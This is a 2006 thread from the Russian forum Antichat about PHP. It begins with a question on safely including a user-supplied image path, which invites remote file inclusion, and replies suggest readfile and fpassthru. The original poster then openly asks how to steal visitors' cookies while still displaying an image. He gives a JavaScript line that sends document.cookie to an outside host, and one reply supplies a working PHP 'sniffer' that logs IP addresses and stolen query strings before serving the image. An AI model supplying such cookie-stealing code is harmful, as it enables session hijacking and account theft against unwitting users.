Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Безопасное использование include (https://forum.antichat.xyz/showthread.php?t=19101)

EST a1ien 14.05.2006 18:47

Безопасное использование include
 
Есть скрипт ему передаётся параметр img.
Например script.php?img=http://site.ru/img.gif
Дак вот я зделал такую проверку
PHP код:

if (!strstr($image,'.gif')=='.gif') {$image='sm.gif';} 

Дальше идёт
PHP код:

Header("Content-type: image/gif");
include(
$image); 

Тоесть файл обязательно должен быть .gif , но этого недостаточно так как в img.gif может быть PHP код и он выполнится ведь так??
Если да то как от этого защитится??
-------------------------------
И ещё один вопрос как отобразить через javascript картинку которая является снифером.
Например
Код:

img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
Img.gif это php скрипт который выводит картинку но таким javascript'ом она невыводится только тырятся куки , а нужен скрипт который и тырит куки и отображает картинку, если это возможно.

nerezus 14.05.2006 19:57

Что за бред? Зачем инклюдить, кстати: Юзай http://us3.php.net/readfile =)

LoFFi 14.05.2006 19:58

попробуй
PHP код:

<?
...
if (!
strstr($image,'.gif')=='.gif') {$image='sm.gif';}  
header("Content-Type: image/gif");
$ff fopen($image,"rb");
fpassthru($ff);
fclose($ff);
?>


LoFFi 14.05.2006 20:04

Да, и вот тебе пример сниффа....

PHP код:

<?
$query 
$_SERVER['QUERY_STRING'];
$ip $_SERVER['REMOTE_ADDR'];

if(!
file_exists("log.txt")) fclose(fopen("log.txt","w"));
$out fopen("log.txt","a");
fputs($out,"IP:".$ip."Query:".$query);
fclose($out);

header("Content-Type: image/jpg");
$img fopen("image.jpg","rb");
fpassthru($img);
fclose($img);
?>


EST a1ien 14.05.2006 20:13

На первый вопрос ответили всем спасибо.
Теперь бы хотелось услышать ответ на второй.

nerezus 14.05.2006 20:23

2. Фильтровать все вводимые значения.

Trinux 15.05.2006 07:14

Ага, с добрым утром всех.
getimagesize() еще никто не отменял. Да и как правильно заметил nerezus, readfile более оптимальное решение для поставленной задачи. Тестировал скорость работы readfile и include (хотя че тут тестить - ежу понятно что include тормознее в разы). Да и потом если ты делаешь header() с заголовком картинки, а потом readfile()...

Насчет твоего второго вопроса - все просто, скрипт подкинул LoFFi.

2 LoFFi
в данном примере проще юзать readfile, чем fopen.

EST a1ien 15.05.2006 07:42

Всё с первым я уже разобрался, просто забыл про readfile совсем из головы вылетела, что можно читать, а не инклудить файлы.
А на второй вопрос я так и неполучил чёткого ответа.

Trinux 15.05.2006 07:54

Цитата:

А на второй вопрос я так и неполучил чёткого ответа.
ошибаешься

EST a1ien 15.05.2006 08:24

И гдеже ответ на второй вопрос
Цитата:

И ещё один вопрос как отобразить через javascript картинку которая является снифером.
Например Код:
img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;


Img.gif это php скрипт который выводит картинку но таким javascript'ом она невыводится только тырятся куки , а нужен скрипт который и тырит куки и отображает картинку, если это возможно.


Время: 00:28